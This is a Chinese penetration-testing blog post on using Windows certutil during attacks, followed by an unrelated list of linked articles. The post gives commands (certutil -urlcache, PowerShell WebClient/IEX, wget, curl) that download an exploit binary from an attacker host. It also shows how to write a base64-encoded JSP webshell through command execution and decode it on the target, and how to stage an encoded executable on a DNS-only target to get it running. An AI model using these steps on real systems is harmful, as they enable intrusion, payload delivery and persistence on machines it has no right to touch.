【安全记录】certutil实战使用总结
前言
在先知看到一篇关于certutil命令的文章(关于certutil的探究),讲得很详细、很全面。特此记录下本人在渗透时使用certutil的一些方法。
在cmd下使用certutil下载远程文件
命令:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe
各参数介绍:
-urlcache显示或删除URL缓存条目;无值的命令行选项。-split保存到文件;无值的命令行选项。存在该选项的命令,就会将文件下载到当前路径,如果没有该选项,就下载到默认路径(本地尝试后,下载的默认路径为C:\Users\用户名)。-f有值的命令行选项。后面跟要下载的文件 url。
附各条件下的命令行下载文件命令:
PowerShell - IWR:
powershell.exe -Command "Invoke-WebRequest -Uri http://192.168.1.1:1234/ms10-051.exe -OutFile exploit.exe"
PowerShell - IEX:
powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:1234/ms10-051.exe', exploit.exe)"
CMD - Certutil:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe
CMD - SMB:
copy \\192.168.1.1\files\ms10-051.exe exploit.exe
Linux - wget:
wget http://192.168.1.1:1234/ms10-051.exe -O exploit.exe
Linux - curl:
curl http://192.168.1.1:1234/ms10-051.exe -o exploit.exe
通过certutil以base64编码方式写入webshell文件
场景:命令执行情况下,写入webshell的文本文件。
webshell内容中含有较多特殊字符,如果直接echo xxx > shell.jsp,其中的特殊字符会影响该命令的执行,而base64编码后的文本可以直接写入文本,无特殊字符影响。
- 文本内容:
<%@page import="java.util.*, - base64编码后为:
PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== - 写入文件:
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== > C:\tmp\shell.txt - 解码成webshell文件:
certutil -f -decode "C:\tmp\shell.txt" "C:\tmp\shell.jsp"
通过certutil对二进制文件进行base64编码
certutil可以将二进制文件(exe文件等)编码成txt文件
certutil -encode 1615808966890.exe 1615808966890.txt

txt文件内容如下,纯文本文件:

将txt文件解码为二进制文件:
certutil -decode 1615808966890.txt 66666.exe

那这适用于什么场景?
假如存在一个命令执行的条件,写入webshell文件存在问题,目标只有dns出网而无法下载远程文件。那么此时我们就可以将base64编码的文本文件写入目标,再解码成二进制文件执行上线。
适用echo写文件时,会在每行末尾追加一个空格,但是我之前的一次经历,发现文件可以正常decode。
cmd /c echo a >> D:\2.txt
cmd /c echo ab >> D:\2.txt
cmd /c echo abc >> D:\2.txt

这篇文章讲解使用powershell的方式追加写入文件,也是一种好的方法。
powershell -c "'a' | Out-File D:\1.txt -Append"
powershell -c "'ab' | Out-File D:\1.txt -Append"
powershell -c "'abc' | Out-File D:\1.txt -Append"
将完整的txt文件一行一行写入文件,可以写个脚本,或者使用burp。
通过certutil计算文件hash
certutil -hashfile mimikatz.exe MD5 //检验MD5
certutil -hashfile mimikatz.exe SHA1 //检验SHA1
certutil -hashfile mimikatz.exe SHA256 //检验SHA256
certutil配合powershell内存加载
没有尝试过,这里mark下这种姿势。总体就是通过certutil解码文件进行powershell上线。
来源为第一篇参考文章的内容。
参考链接
【安全记录】certutil实战使用总结的更多相关文章
- XMPP学习记录之实战篇
在学习iOS以来一直想要研究即时聊天方面的技术,因工作原因此计划一直搁浅,近日偷得时闲开始着手与XMPP的学习.在学习之前我一直认为XMPP对我来说是一个很有难度的挑战,在了解了协议的具体形式后,才发 ...
- 实战记录之SQL server报错手工注入
前言 最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是.在这里记录一下实战过程,并详细讲解一下用到的知识点. SQL server报错注 ...
- 综合实战--文件上传系统【JDBC&IO&Socket】
本文纯属记录第一次实战遇到的坑和知识,如果后边有时间再做整理. 1,先写了个操作数据库的工具类SqlTool,照着JDBC资料打完之后,测试的时候出错了,java.lang.ClassNotFound ...
- django 实战 - eLeave Form
需求: 实现请假单的电子审批 1. 支持国际化 2. 支持模型级别的访问记录 here we go: 这里会写一系列的文章,来记录我实战的过程,由于接触django没多久,难免有疏漏之处,望拍砖不要太 ...
- MyBatis初级实战之一:Spring Boot集成
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- SpringCloudAlibaba分布式事务解决方案Seata实战与源码分析-中
事务模式 概述 在当前的技术发展阶段,不存一个分布式事务处理机制可以完美满足所有场景的需求.一致性.可靠性.易用性.性能等诸多方面的系统设计约束,需要用不同的事务处理机制去满足. 目前使用的流行度情况 ...
- postgresql C/C++ API 接口
1,postgresql学习uri推荐 http://www.php100.com/manual/PostgreSQL8/ http://www.php100.com/manual/PostgreSQ ...
- vue.js 组件之间传递数据
前言 组件是 vue.js 最强大的功能之一,而组件实例的作用域是相互独立的,这就意味着不同组件之间的数据无法相互引用.如何传递数据也成了组件的重要知识点之一. 组件 组件与组件之间,还存在着不同的关 ...
- 整理总结 python 中时间日期类数据处理与类型转换(含 pandas)
我自学 python 编程并付诸实战,迄今三个月. pandas可能是我最高频使用的库,基于它的易学.实用,我也非常建议朋友们去尝试它.--尤其当你本身不是程序员,但多少跟表格或数据打点交道时,pan ...
- Hbase面试题
hbase的特点 )hbase适合存储海量数据,是一个分布式的,基于列式存储的数据库,基于hadoop的hdfs存储,zookeeper进行管理. )hbase 适合存储半结构化或非结构化的数据,对于 ...
随机推荐
- 一篇文章带你掌握Flex布局的所有用法
Flex 布局目前已经非常流行了,现在几乎已经兼容所有浏览器了.在文章开始之前我们需要思考一个问题:我们为什么要使用 Flex 布局? 其实答案很简单,那就是 Flex 布局好用.一个新事物的出现往往 ...
- Pytest插件pytest-order指定用例顺序
Pytest插件pytest-order指定用例顺序 安装 pip install pytest-order 注意不是pytest-ordering 说起来这里有个故事 关于pytest-order ...
- spring cloud alibaba Nacos集群部署 Linux
参考:https://www.cnblogs.com/dw3306/p/12961353.html 1.官网: https://nacos.io/zh-cn/docs/cluster-mode- ...
- springcloud微服务搭建demo
软件 版本 IDEA 2022.3.1 <兼容maven 3.8.1及之前的所用版本> JDK 1.8_64 Maven 3.8.2 本demo只使用了服务发现与注册.Feign调用及负载 ...
- SpringMVC返回值类型及响应数据类型
1.SpringMVC 和 Struts2 的优略分析 共同点: 它们都是表现层框架,都是基于 MVC 模型编写的. 它们的底层都离不开原始 ServletAPI. 它们处理请求的机制都是一个核心控制 ...
- C# Replace:一个熟悉而又陌生的替换
前言 Replace 的作用就是,通过指定内容的替换,返回一个新字符串. 返回值中,已将当前字符串中的指定 Unicode 字符或 String 的 所有匹配项,替换为指定的新的 Unicode 字符 ...
- 【源码】RapidJSON 源码剖析(0.1):调试工具 GDB 的使用
[源码]RapidJSON 源码剖析(0.1):调试工具 GDB 的使用 正式开始源码阅读之前,有必要了解一下源码阅读中用到的调试工具 GDB. GDB(GNU Debugger) 是一种可以运行在多 ...
- Fastjson Sec
Fastjson 前置知识 autoType功能 序列化:fastjson在通过JSON.toJSONString()将对象转换为字符串的时候,当使用SerializerFeature.WriteCl ...
- 开源免费3D CAD软件:FreeCAD
推荐:将 NSDT场景编辑器 加入你的3D开发工具链. FreeCAD是来自法国Matra Datavision公司的一款开源**3D CAD软件, 基于CAD / CAM / CAE几何模型核心,是 ...
- NSDT可编程3D场景
推荐:将 NSDT场景编辑器 加入你的3D开发工具链. NSDT编辑器简化了WebGL 3D应用的开发,完全兼容Three.JS生态.本文介绍如何在自己的应用中嵌入使用NSDT编辑器搭建的3D场景,并 ...